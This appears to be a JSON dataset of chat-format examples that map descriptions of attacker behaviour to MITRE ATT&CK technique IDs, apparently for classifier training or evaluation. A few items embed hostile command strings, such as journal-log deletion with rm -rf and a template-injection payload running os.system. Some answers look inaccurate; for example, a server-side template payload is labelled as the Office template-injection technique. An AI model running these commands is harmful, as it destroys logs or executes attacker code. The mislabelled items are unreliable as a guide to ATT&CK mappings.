                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a Bluetooth pairing with a rogue device to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors accessed the organization's password store in Oracle Cloud Infrastructure Vault to download database credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary steals password hashes from a compromised system and leverages them to access network shares."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor clears the systemd journal on a Linux system by running 'systemctl stop systemd-journald' followed by 'rm -rf /var/log/journal/*'."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulates establishing a rogue Exchange mailbox to serve as a covert channel for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware collects the system's GPS coordinates via the device's location API and exfiltrates them to the command server."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant transforms stolen data into a printable ASCII format using rot13 before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse the Visual Studio build engine to run malicious scripts, using its trusted status to execute code."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During credential dumping, the group first uses regsvcs.exe to load a custom .NET payload that escalates privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages WMI event subscriptions to store malicious PowerShell commands that run in memory when a specific system event occurs, achieving fileless execution."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker infiltrates a trusted software vendor's build environment and extracts the code signing certificate to sign malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged HTTP/HTTPS traffic to a compromised web server to exfiltrate data and receive commands."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor abuses the 'vaultcmd' command to list and export credentials from the Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group gathers information about the target's physical locations through satellite imagery services."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through privilege escalation, the threat actor modifies existing stored procedures to include calls to system binaries."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious insider adds a rule in Office 365 that forwards all corporate emails to a personal email account."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware resolves its C2 server using DNS queries that return a rapidly changing list of IPs, characteristic of fast‑flux DNS."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary places a malicious .command file in the user's /Users/<user>/Library/Application Support/com.apple.loginitems folder."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors perform a search for the target's domain combined with \"login\" to find exposed login portals."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses a custom web service endpoint to exchange data with back‑door implants, enabling command‑and‑control via bidirectional messaging."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised router to mirror traffic to a remote server for deep packet inspection."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses schtasks.exe to add a task that launches a DLL loader once a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses the CLI of a load balancer to re-route traffic to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker alters the MFA flow to inject a malicious second factor that they control, allowing them to bypass the legitimate authentication step."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a malicious time provider entry in the registry, causing their code to run each boot."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a batch file that calls the system's compiler to produce a malicious executable after deployment, evading file hash-based defenses."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging legitimate domain credentials, the adversary requests Kerberos tickets for service accounts with weak passwords and then cracks the tickets offline."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan stores its second-stage payload inside the resource section of a PNG image, extracting it using a custom loader."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell script uses \"Get-CimInstance -ClassName Win32_SystemDriver\" to list drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Misusing legitimate software for data compression and exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker patches the Linux initramfs with a trojanized init script to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor abused compromised VMware vSphere credentials to provision new virtual machines within the private cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script opens an SSH session to a target machine to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses Passive DNS replication data to identify historic IP addresses linked to the target's domains."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stopped the auditd service and removed its startup script to avoid logging."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised a user’s account and then retrieved saved credentials from the Android credential storage API."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leveraged cloud console commands to revert an instance to a prior image, negating installed backdoors."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary extracts password hashes from the Windows SAM database using a custom script."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Windows API NetShareEnum to retrieve a list of shared directories on the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries delete their own files after execution to reduce forensic footprints."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious installer scans the hardware fingerprint, including motherboard serial and BIOS version, and only proceeds on matching devices."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a REST request to the Kubernetes API server to enumerate all namespaces, pods, and services in the cluster."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts the list of installed applications by reading the Windows registry keys HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious add‑on is injected into the BIOS update package of a laptop brand, enabling the adversary to bypass secure boot and install rootkits."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor hijacks the permissions of a critical system service, then replaces its executable with ransomware to encrypt files when the service restarts."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries scrape social media platforms and professional networking sites to collect email addresses, job titles, and personal interests of target employees."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary compromises a popular news site, inserting malicious code that exploits browser plugins to install ransomware on visitors."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During system provisioning, a threat actor injects a backdoored disk image that loads malicious payloads when the machine starts."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen SSH keys, the attacker accessed the server and replaced the site's favicon and header with defacement imagery."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a legitimate IDE's command-line interface, the attacker triggers execution of a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor extracts a Salesforce connected app token and uses it to query sensitive CRM data via API calls."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operation uses a multi-hop proxy architecture, chaining compromised nodes to relay malicious traffic to its final destination."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor abuses the MSBuild binary to compile and run a backdoor DLL through a compromised CI/CD pipeline."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses SetThreadContext to inject code into a high-privilege process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is concealed inside legitimate files, such as PDFs or images, allowing it to run when opened."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote access tool executes the 'screencap' command on Linux systems to dump the current X session to a file for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses PowerSploit's Invoke-Mimikatz to pull credentials from the Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor takes advantage of a software bug in a system service to disable logging mechanisms for stealth."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leveraged a botnet of compromised cloud containers to execute lateral movement within the target environment."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a Python script that parses the output of \"netstat -r\" to discover routing and connection information."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages an unpatched SQL injection flaw to cause the database server to become unresponsive on the host."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XSL script processing is abused when a malicious XSLT is used to bypass security controls and run arbitrary code on the target."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker sets the 'EnableCommandLogging' group policy to '0' to turn off command history logging on all domain computers."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged PowerShell to enumerate all removable media and copy user profile data to a hidden folder on each device."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sets the COR_PROFILER environment variable to a malicious DLL, causing .NET applications to load the payload when they start."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the Windows Management Instrumentation command to pull BIOS release date and vendor details."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrates data by sending symmetrically encrypted packets over a proprietary protocol on a non‑standard port, keeping it separate from its C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a payload containing \"{% import os %}{% os.system('id') %}\" which is executed when the server renders the user-supplied content in a Django template."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set checks password expiration and lockout thresholds via the security policy editor."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise the IIS server and replace the default ISAPI filter with a custom DLL that provides a backdoor for remote command execution."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the authentication package registration process, the attacker achieves code execution each time a credential is validated."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed Visual Basic code in a Microsoft Office document to download and execute a payload on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the Windows API to perform a ListPlanting injection, modifying the linked list of process structures to execute a payload."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary initially creates a covert DNS tunnel to communicate with their malware, then later uses a secondary HTTP channel to transfer stolen files."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies an existing legitimate service to execute a payload after system restart."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators used the built-in Windows command interpreter to execute \"whoami\" and enumerate the current user context."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
